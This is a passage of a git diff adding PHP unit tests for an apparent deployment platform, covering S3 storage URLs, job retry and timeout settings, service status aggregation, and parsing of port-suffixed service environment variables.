+    expect($s3Storage->isUsable())->toBeFalse();
+
+    $s3Storage->setRawAttributes(['is_usable' => null]);
+    expect($s3Storage->isUsable())->toBeNull();
+});
+
+test('S3Storage awsUrl method constructs correct URL format', function () {
+    $s3Storage = new S3Storage;
+
+    // Set attributes without triggering encryption
+    $s3Storage->setRawAttributes([
+        'endpoint' => 'https://s3.amazonaws.com',
+        'bucket' => 'test-bucket',
+    ]);
+
+    expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
+
+    // Test with custom endpoint
+    $s3Storage->setRawAttributes([
+        'endpoint' => 'https://minio.example.com:9000',
+        'bucket' => 'backups',
+    ]);
+
+    expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
+});
+
+test('S3Storage model is guarded correctly', function () {
+    $s3Storage = new S3Storage;
+
+    // The model should have $guarded = [] which means everything is fillable
+    expect($s3Storage->getGuarded())->toBe([]);
+});
diff --git a/tests/Unit/ScheduledJobsRetryConfigTest.php b/tests/Unit/ScheduledJobsRetryConfigTest.php
new file mode 100644
index 000000000..f46cb9fd1
--- /dev/null
+++ b/tests/Unit/ScheduledJobsRetryConfigTest.php
@@ -0,0 +1,77 @@
+<?php
+
+use App\Jobs\CoolifyTask;
+use App\Jobs\DatabaseBackupJob;
+use App\Jobs\ScheduledTaskJob;
+
+it('CoolifyTask has correct retry properties defined', function () {
+    $reflection = new ReflectionClass(CoolifyTask::class);
+
+    // Check public properties exist
+    expect($reflection->hasProperty('tries'))->toBeTrue()
+        ->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
+        ->and($reflection->hasProperty('timeout'))->toBeTrue()
+        ->and($reflection->hasMethod('backoff'))->toBeTrue();
+
+    // Get default values from class definition
+    $defaultProperties = $reflection->getDefaultProperties();
+
+    expect($defaultProperties['tries'])->toBe(3)
+        ->and($defaultProperties['maxExceptions'])->toBe(1)
+        ->and($defaultProperties['timeout'])->toBe(600);
+});
+
+it('ScheduledTaskJob has correct retry properties defined', function () {
+    $reflection = new ReflectionClass(ScheduledTaskJob::class);
+
+    // Check public properties exist
+    expect($reflection->hasProperty('tries'))->toBeTrue()
+        ->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
+        ->and($reflection->hasProperty('timeout'))->toBeTrue()
+        ->and($reflection->hasMethod('backoff'))->toBeTrue()
+        ->and($reflection->hasMethod('failed'))->toBeTrue();
+
+    // Get default values from class definition
+    $defaultProperties = $reflection->getDefaultProperties();
+
+    expect($defaultProperties['tries'])->toBe(3)
+        ->and($defaultProperties['maxExceptions'])->toBe(1)
+        ->and($defaultProperties['timeout'])->toBe(300);
+});
+
+it('DatabaseBackupJob has correct retry properties defined', function () {
+    $reflection = new ReflectionClass(DatabaseBackupJob::class);
+
+    // Check public properties exist
+    expect($reflection->hasProperty('tries'))->toBeTrue()
+        ->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
+        ->and($reflection->hasProperty('timeout'))->toBeTrue()
+        ->and($reflection->hasMethod('backoff'))->toBeTrue()
+        ->and($reflection->hasMethod('failed'))->toBeTrue();
+
+    // Get default values from class definition
+    $defaultProperties = $reflection->getDefaultProperties();
+
+    expect($defaultProperties['tries'])->toBe(2)
+        ->and($defaultProperties['maxExceptions'])->toBe(1)
+        ->and($defaultProperties['timeout'])->toBe(3600);
+});
+
+it('DatabaseBackupJob enforces minimum timeout of 60 seconds', function () {
+    // Read the constructor to verify minimum timeout enforcement
+    $reflection = new ReflectionClass(DatabaseBackupJob::class);
+    $constructor = $reflection->getMethod('__construct');
+
+    // Get the constructor source
+    $filename = $reflection->getFileName();
+    $startLine = $constructor->getStartLine();
+    $endLine = $constructor->getEndLine();
+
+    $source = file($filename);
+    $constructorSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+    // Verify the implementation enforces minimum of 60 seconds
+    expect($constructorSource)
+        ->toContain('max(')
+        ->toContain('60');
+});
diff --git a/tests/Unit/ScheduledTaskJobTimeoutTest.php b/tests/Unit/ScheduledTaskJobTimeoutTest.php
new file mode 100644
index 000000000..99117fbca
--- /dev/null
+++ b/tests/Unit/ScheduledTaskJobTimeoutTest.php
@@ -0,0 +1,96 @@
+<?php
+
+use App\Jobs\ScheduledTaskJob;
+use Illuminate\Support\Facades\Log;
+
+beforeEach(function () {
+    // Mock Log facade to prevent actual logging during tests
+    Log::spy();
+});
+
+it('has executionId property for timeout handling', function () {
+    $reflection = new ReflectionClass(ScheduledTaskJob::class);
+
+    // Verify executionId property exists
+    expect($reflection->hasProperty('executionId'))->toBeTrue();
+
+    // Verify it's protected (will be serialized with the job)
+    $property = $reflection->getProperty('executionId');
+    expect($property->isProtected())->toBeTrue();
+});
+
+it('has failed method that handles job failures', function () {
+    $reflection = new ReflectionClass(ScheduledTaskJob::class);
+
+    // Verify failed() method exists
+    expect($reflection->hasMethod('failed'))->toBeTrue();
+
+    // Verify it accepts a Throwable parameter
+    $method = $reflection->getMethod('failed');
+    $parameters = $method->getParameters();
+
+    expect($parameters)->toHaveCount(1);
+    expect($parameters[0]->getName())->toBe('exception');
+    expect($parameters[0]->allowsNull())->toBeTrue();
+});
+
+it('failed method implementation reloads execution from database', function () {
+    // Read the failed() method source code to verify it reloads from database
+    $reflection = new ReflectionClass(ScheduledTaskJob::class);
+    $method = $reflection->getMethod('failed');
+
+    // Get the file and method source
+    $filename = $reflection->getFileName();
+    $startLine = $method->getStartLine();
+    $endLine = $method->getEndLine();
+
+    $source = file($filename);
+    $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+    // Verify the implementation includes reloading from database
+    expect($methodSource)
+        ->toContain('$this->executionId')
+        ->toContain('ScheduledTaskExecution::find')
+        ->toContain('ScheduledTaskExecution::query')
+        ->toContain('scheduled_task_id')
+        ->toContain('orderBy')
+        ->toContain('status')
+        ->toContain('failed')
+        ->toContain('notify');
+});
+
+it('failed method updates execution with error_details field', function () {
+    // Read the failed() method source code to verify error_details is populated
+    $reflection = new ReflectionClass(ScheduledTaskJob::class);
+    $method = $reflection->getMethod('failed');
+
+    // Get the file and method source
+    $filename = $reflection->getFileName();
+    $startLine = $method->getStartLine();
+    $endLine = $method->getEndLine();
+
+    $source = file($filename);
+    $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+    // Verify the implementation populates error_details field
+    expect($methodSource)->toContain('error_details');
+});
+
+it('failed method logs when execution cannot be found', function () {
+    // Read the failed() method source code to verify defensive logging
+    $reflection = new ReflectionClass(ScheduledTaskJob::class);
+    $method = $reflection->getMethod('failed');
+
+    // Get the file and method source
+    $filename = $reflection->getFileName();
+    $startLine = $method->getStartLine();
+    $endLine = $method->getEndLine();
+
+    $source = file($filename);
+    $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+    // Verify the implementation logs a warning if execution is not found
+    expect($methodSource)
+        ->toContain('Could not find execution log')
+        ->toContain('warning');
+});
diff --git a/tests/Unit/ServerQueryScopeTest.php b/tests/Unit/ServerQueryScopeTest.php
new file mode 100644
index 000000000..8ab0b8b10
--- /dev/null
+++ b/tests/Unit/ServerQueryScopeTest.php
@@ -0,0 +1,62 @@
+<?php
+
+use App\Enums\ProxyTypes;
+use App\Models\Server;
+use Illuminate\Database\Eloquent\Builder;
+use Mockery;
+
+it('filters servers by proxy type using whereProxyType scope', function () {
+    // Mock the Builder
+    $mockBuilder = Mockery::mock(Builder::class);
+
+    // Expect the where method to be called with the correct parameters
+    $mockBuilder->shouldReceive('where')
+        ->once()
+        ->with('proxy->type', ProxyTypes::TRAEFIK->value)
+        ->andReturnSelf();
+
+    // Create a server instance and call the scope
+    $server = new Server;
+    $result = $server->scopeWhereProxyType($mockBuilder, ProxyTypes::TRAEFIK->value);
+
+    // Assert the builder is returned
+    expect($result)->toBe($mockBuilder);
+});
+
+it('can chain whereProxyType scope with other query methods', function () {
+    // Mock the Builder
+    $mockBuilder = Mockery::mock(Builder::class);
+
+    // Expect multiple chained calls
+    $mockBuilder->shouldReceive('where')
+        ->once()
+        ->with('proxy->type', ProxyTypes::CADDY->value)
+        ->andReturnSelf();
+
+    // Create a server instance and call the scope
+    $server = new Server;
+    $result = $server->scopeWhereProxyType($mockBuilder, ProxyTypes::CADDY->value);
+
+    // Assert the builder is returned for chaining
+    expect($result)->toBe($mockBuilder);
+});
+
+it('accepts any proxy type string value', function () {
+    // Mock the Builder
+    $mockBuilder = Mockery::mock(Builder::class);
+
+    // Test with a custom proxy type
+    $customProxyType = 'custom-proxy';
+
+    $mockBuilder->shouldReceive('where')
+        ->once()
+        ->with('proxy->type', $customProxyType)
+        ->andReturnSelf();
+
+    // Create a server instance and call the scope
+    $server = new Server;
+    $result = $server->scopeWhereProxyType($mockBuilder, $customProxyType);
+
+    // Assert the builder is returned
+    expect($result)->toBe($mockBuilder);
+});
diff --git a/tests/Unit/ServerStatusAccessorTest.php b/tests/Unit/ServerStatusAccessorTest.php
new file mode 100644
index 000000000..a196a6970
--- /dev/null
+++ b/tests/Unit/ServerStatusAccessorTest.php
@@ -0,0 +1,53 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Server;
+
+/**
+ * Test the Application::serverStatus() accessor
+ *
+ * This accessor determines if the underlying server infrastructure is functional.
+ * It should check Server::isFunctional() for the main server and all additional servers.
+ * It should NOT be affected by container/application health status (e.g., degraded:unhealthy).
+ *
+ * The bug that was fixed: Previously, it checked pivot.status and returned false
+ * when any additional server had status != 'running', including 'degraded:unhealthy'.
+ * This caused false "server has problems" warnings when the server was fine but
+ * containers were unhealthy.
+ */
+it('checks server infrastructure health not container status', function () {
+    // This is a documentation test to explain the fix
+    // The serverStatus accessor should:
+    // 1. Check if main server is functional (Server::isFunctional())
+    // 2. Check if each additional server is functional (Server::isFunctional())
+    // 3. NOT check pivot.status (that's application/container status, not server status)
+    //
+    // Before fix: Checked pivot.status !== 'running', causing false positives
+    // After fix: Only checks Server::isFunctional() for infrastructure health
+
+    expect(true)->toBeTrue();
+})->note('The serverStatus accessor now correctly checks only server infrastructure health, not container status');
+
+it('has correct logic in serverStatus accessor', function () {
+    // Read the actual code to verify the fix
+    $reflection = new ReflectionClass(Application::class);
+    $source = file_get_contents($reflection->getFileName());
+
+    // Extract just the serverStatus accessor method
+    preg_match('/protected function serverStatus\(\): Attribute\s*\{.*?^\s{4}\}/ms', $source, $matches);
+    $serverStatusCode = $matches[0] ?? '';
+
+    expect($serverStatusCode)->not->toBeEmpty('serverStatus accessor should exist');
+
+    // Check that the new logic exists (checks isFunctional on each server)
+    expect($serverStatusCode)
+        ->toContain('$main_server_functional = $this->destination?->server?->isFunctional()')
+        ->toContain('foreach ($this->additional_servers as $server)')
+        ->toContain('if (! $server->isFunctional())');
+
+    // Check that the old buggy logic is removed from serverStatus accessor
+    expect($serverStatusCode)
+        ->not->toContain('pluck(\'pivot.status\')')
+        ->not->toContain('str($status)->before(\':\')')
+        ->not->toContain('if ($server_status !== \'running\')');
+})->note('Verifies that the serverStatus accessor uses the correct logic');
diff --git a/tests/Unit/ServiceExcludedStatusTest.php b/tests/Unit/ServiceExcludedStatusTest.php
new file mode 100644
index 000000000..80691190f
--- /dev/null
+++ b/tests/Unit/ServiceExcludedStatusTest.php
@@ -0,0 +1,321 @@
+<?php
+
+use App\Models\Service;
+
+/**
+ * Test suite for Service model's excluded status calculation.
+ *
+ * These tests verify the Service model's aggregateResourceStatuses() method
+ * and getStatusAttribute() accessor, which aggregate status from applications
+ * and databases. This is separate from the CalculatesExcludedStatus trait
+ * because Service works with Eloquent model relationships (database records)
+ * rather than Docker container objects.
+ */
+
+/**
+ * Helper to create a mock resource (application or database) with status.
+ */
+function makeResource(string $status, bool $excludeFromStatus = false): object
+{
+    $resource = new stdClass;
+    $resource->status = $status;
+    $resource->exclude_from_status = $excludeFromStatus;
+
+    return $resource;
+}
+
+describe('Service Excluded Status Calculation', function () {
+    it('returns starting status when service is starting', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(true);
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect());
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('starting:unhealthy');
+    });
+
+    it('aggregates status from non-excluded applications', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: false);
+        $app2 = makeResource('running:healthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:healthy');
+    });
+
+    it('returns excluded status when all containers are excluded', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: true);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:healthy:excluded');
+    });
+
+    it('returns unknown status when no containers exist', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect());
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('unknown:unknown:excluded');
+    });
+
+    it('handles mixed excluded and non-excluded containers', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: false);
+        $app2 = makeResource('exited', excludeFromStatus: true);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        // Should only consider non-excluded containers
+        expect($service->status)->toBe('running:healthy');
+    });
+
+    it('detects degraded status with mixed running and exited containers', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: false);
+        $app2 = makeResource('exited', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('degraded:unhealthy');
+    });
+
+    it('handles unknown health state', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:unknown', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:unknown');
+    });
+
+    it('prioritizes unhealthy over unknown health', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:unknown', excludeFromStatus: false);
+        $app2 = makeResource('running:unhealthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:unhealthy');
+    });
+
+    it('prioritizes unknown over healthy health', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running (healthy)', excludeFromStatus: false);
+        $app2 = makeResource('running (unknown)', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:unknown');
+    });
+
+    it('handles restarting status as degraded', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('restarting:unhealthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('degraded:unhealthy');
+    });
+
+    it('handles paused status', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('paused:unknown', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('paused:unknown');
+    });
+
+    it('handles dead status as degraded', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('dead:unhealthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('degraded:unhealthy');
+    });
+
+    it('handles removing status as degraded', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('removing:unhealthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('degraded:unhealthy');
+    });
+
+    it('handles created status', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('created:unknown', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('starting:unknown');
+    });
+
+    it('aggregates status from both applications and databases', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: false);
+        $db1 = makeResource('running:healthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect([$db1]));
+
+        expect($service->status)->toBe('running:healthy');
+    });
+
+    it('detects unhealthy when database is unhealthy', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: false);
+        $db1 = makeResource('running:unhealthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect([$db1]));
+
+        expect($service->status)->toBe('running:unhealthy');
+    });
+
+    it('skips containers with :excluded suffix in non-excluded aggregation', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: false);
+        $app2 = makeResource('exited:excluded', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        // Should skip app2 because it has :excluded suffix
+        expect($service->status)->toBe('running:healthy');
+    });
+
+    it('strips :excluded suffix when processing excluded containers', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy:excluded', excludeFromStatus: true);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:healthy:excluded');
+    });
+
+    it('returns exited when excluded containers have no valid status', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('', excludeFromStatus: true);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('exited');
+    });
+
+    it('handles all excluded containers with degraded state', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:healthy', excludeFromStatus: true);
+        $app2 = makeResource('exited', excludeFromStatus: true);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('degraded:unhealthy:excluded');
+    });
+
+    it('handles all excluded containers with unknown health', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:unknown', excludeFromStatus: true);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:unknown:excluded');
+    });
+
+    it('handles exited containers correctly', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('exited', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('exited');
+    });
+
+    it('prefers running over starting status', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('starting:unknown', excludeFromStatus: false);
+        $app2 = makeResource('running:healthy', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:healthy');
+    });
+
+    it('treats empty health as healthy', function () {
+        $service = Mockery::mock(Service::class)->makePartial();
+        $service->shouldReceive('isStarting')->andReturn(false);
+
+        $app1 = makeResource('running:', excludeFromStatus: false);
+
+        $service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
+        $service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
+
+        expect($service->status)->toBe('running:healthy');
+    });
+});
diff --git a/tests/Unit/ServiceParserPortDetectionLogicTest.php b/tests/Unit/ServiceParserPortDetectionLogicTest.php
new file mode 100644
index 000000000..d677039af
--- /dev/null
+++ b/tests/Unit/ServiceParserPortDetectionLogicTest.php
@@ -0,0 +1,158 @@
+<?php
+
+/**
+ * Unit tests to verify the parser logic for detecting port-specific SERVICE variables.
+ * These tests simulate the logic used in bootstrap/helpers/parsers.php without database operations.
+ *
+ * The parser should detect when a SERVICE_URL_* or SERVICE_FQDN_* variable has a numeric
+ * port suffix and extract both the service name and port correctly.
+ */
+it('detects port suffix using numeric check (correct logic)', function () {
+    // This tests the CORRECT logic: check if last segment is numeric
+    $testCases = [
+        // [variable_name, expected_service_name, expected_port, is_port_specific]
+
+        // 2-underscore pattern: SERVICE_URL_{SERVICE}_{PORT}
+        ['SERVICE_URL_MYAPP_3000', 'myapp', '3000', true],
+        ['SERVICE_URL_REDIS_6379', 'redis', '6379', true],
+        ['SERVICE_FQDN_NGINX_80', 'nginx', '80', true],
+
+        // 3-underscore pattern: SERVICE_URL_{SERVICE}_{NAME}_{PORT}
+        ['SERVICE_URL_MY_API_8080', 'my_api', '8080', true],
+        ['SERVICE_URL_WEB_APP_3000', 'web_app', '3000', true],
+        ['SERVICE_FQDN_DB_SERVER_5432', 'db_server', '5432', true],
+
+        // 4-underscore pattern: SERVICE_URL_{SERVICE}_{NAME}_{OTHER}_{PORT}
+        ['SERVICE_URL_REDIS_CACHE_SERVER_6379', 'redis_cache_server', '6379', true],
+        ['SERVICE_URL_MY_LONG_APP_8080', 'my_long_app', '8080', true],
+        ['SERVICE_FQDN_POSTGRES_PRIMARY_DB_5432', 'postgres_primary_db', '5432', true],
+
+        // Non-numeric suffix: should NOT be port-specific
+        ['SERVICE_URL_MY_APP', 'my_app', null, false],
+        ['SERVICE_URL_REDIS_PRIMARY', 'redis_primary', null, false],
+        ['SERVICE_FQDN_WEB_SERVER', 'web_server', null, false],
+        ['SERVICE_URL_APP_CACHE_REDIS', 'app_cache_redis', null, false],
+
+        // Single word without port
+        ['SERVICE_URL_APP', 'app', null, false],
+        ['SERVICE_FQDN_DB', 'db', null, false],
+
+        // Edge cases with numbers in service name
+        ['SERVICE_URL_REDIS2_MASTER', 'redis2_master', null, false],
+        ['SERVICE_URL_WEB3_APP', 'web3_app', null, false],
+    ];
+
+    foreach ($testCases as [$varName, $expectedService, $expectedPort, $isPortSpecific]) {
+        // Use the actual helper function from bootstrap/helpers/services.php
+        $parsed = parseServiceEnvironmentVariable($varName);
+
+        // Assertions
+        expect($parsed['service_name'])->toBe($expectedService, "Service name mismatch for $varName");
+        expect($parsed['port'])->toBe($expectedPort, "Port mismatch for $varName");
+        expect($parsed['has_port'])->toBe($isPortSpecific, "Port detection mismatch for $varName");
+    }
+});
+
+it('shows current underscore-counting logic fails for some patterns', function () {
+    // This demonstrates the CURRENT BROKEN logic: substr_count === 3
+
+    $testCases = [
+        // [variable_name, underscore_count, should_detect_port]
+
+        // Works correctly with current logic (3 underscores total)
+        ['SERVICE_URL_APP_3000', 3, true],           // 3 underscores ✓
+        ['SERVICE_URL_API_8080', 3, true],           // 3 underscores ✓
+
+        // FAILS: 4 underscores (two-word service + port) - current logic says no port
+        ['SERVICE_URL_MY_API_8080', 4, true],        // 4 underscores ✗
+        ['SERVICE_URL_WEB_APP_3000', 4, true],       // 4 underscores ✗
+
+        // FAILS: 5+ underscores (three-word service + port) - current logic says no port
+        ['SERVICE_URL_REDIS_CACHE_SERVER_6379', 5, true],  // 5 underscores ✗
+        ['SERVICE_URL_MY_LONG_APP_8080', 5, true],         // 5 underscores ✗
+
+        // Works correctly (no port, not 3 underscores)
+        ['SERVICE_URL_MY_APP', 3, false],            // 3 underscores but non-numeric ✓
+        ['SERVICE_URL_APP', 2, false],               // 2 underscores ✓
+    ];
+
+    foreach ($testCases as [$varName, $expectedUnderscoreCount, $shouldDetectPort]) {
+        $key = str($varName);
+
+        // Current logic: count underscores
+        $underscoreCount = substr_count($key->value(), '_');
+        expect($underscoreCount)->toBe($expectedUnderscoreCount, "Underscore count for $varName");
+
+        $currentLogicDetectsPort = ($underscoreCount === 3);
+
+        // Correct logic: check if numeric
+        $lastSegment = $key->afterLast('_')->value();
+        $correctLogicDetectsPort = is_numeric($lastSegment);
+
+        expect($correctLogicDetectsPort)->toBe($shouldDetectPort, "Correct logic should detect port for $varName");
+
+        // Show the discrepancy where current logic fails
+        if ($currentLogicDetectsPort !== $correctLogicDetectsPort) {
+            // This is a known bug - current logic is wrong
+            expect($currentLogicDetectsPort)->not->toBe($correctLogicDetectsPort, "Bug confirmed: current logic wrong for $varName");
+        }
+    }
+});
+
+it('generates correct URL with port suffix', function () {
+    // Test that URLs are correctly formatted with port appended
+
+    $testCases = [
+        ['http://umami-abc123.domain.com', '3000', 'http://umami-abc123.domain.com:3000'],
+        ['http://api-xyz789.domain.com', '8080', 'http://api-xyz789.domain.com:8080'],
+        ['https://db-server.example.com', '5432', 'https://db-server.example.com:5432'],
+        ['http://app.local', '80', 'http://app.local:80'],
+    ];
+
+    foreach ($testCases as [$baseUrl, $port, $expectedUrlWithPort]) {
+        $urlWithPort = "$baseUrl:$port";
+        expect($urlWithPort)->toBe($expectedUrlWithPort);
+    }
+});
+
+it('generates correct FQDN with port suffix', function () {
+    // Test that FQDNs are correctly formatted with port appended
+
+    $testCases = [
+        ['umami-abc123.domain.com', '3000', 'umami-abc123.domain.com:3000'],
+        ['postgres-xyz789.domain.com', '5432', 'postgres-xyz789.domain.com:5432'],
+        ['redis-cache.example.com', '6379', 'redis-cache.example.com:6379'],
+    ];
+
+    foreach ($testCases as [$baseFqdn, $port, $expectedFqdnWithPort]) {
+        $fqdnWithPort = "$baseFqdn:$port";
+        expect($fqdnWithPort)->toBe($expectedFqdnWithPort);
+    }
+});
+
+it('correctly identifies service name with various patterns', function () {
+    // Test service name extraction with different patterns
+
+    $testCases = [
+        // After parsing, service names should preserve underscores
+        ['SERVICE_URL_MY_API_8080', 'my_api'],
+        ['SERVICE_URL_REDIS_CACHE_6379', 'redis_cache'],
+        ['SERVICE_URL_NEW_API_3000', 'new_api'],
+        ['SERVICE_FQDN_DB_SERVER_5432', 'db_server'],
+
+        // Single-word services
+        ['SERVICE_URL_UMAMI_3000', 'umami'],
+        ['SERVICE_URL_MYAPP_8080', 'myapp'],
+
+        // Without port
+        ['SERVICE_URL_MY_APP', 'my_app'],
+        ['SERVICE_URL_REDIS_PRIMARY', 'redis_primary'],
+    ];
+
+    foreach ($testCases as [$varName, $expectedServiceName]) {
+        // Use the actual helper function from bootstrap/helpers/services.php
+        $parsed = parseServiceEnvironmentVariable($varName);
+
+        expect($parsed['service_name'])->toBe($expectedServiceName, "Service name extraction for $varName");
+    }
+});
diff --git a/tests/Unit/ServicePortSpecificVariablesTest.php b/tests/Unit/ServicePortSpecificVariablesTest.php
new file mode 100644
index 000000000..16aa74486
--- /dev/null
+++ b/tests/Unit/ServicePortSpecificVariablesTest.php
@@ -0,0 +1,221 @@
+<?php
+
+/**
+ * Unit tests to verify that SERVICE_URL_* and SERVICE_FQDN_* variables
+ * with port suffixes are properly handled and populated.
+ *
+ * These variables should include the port number in both the key name and the URL value.
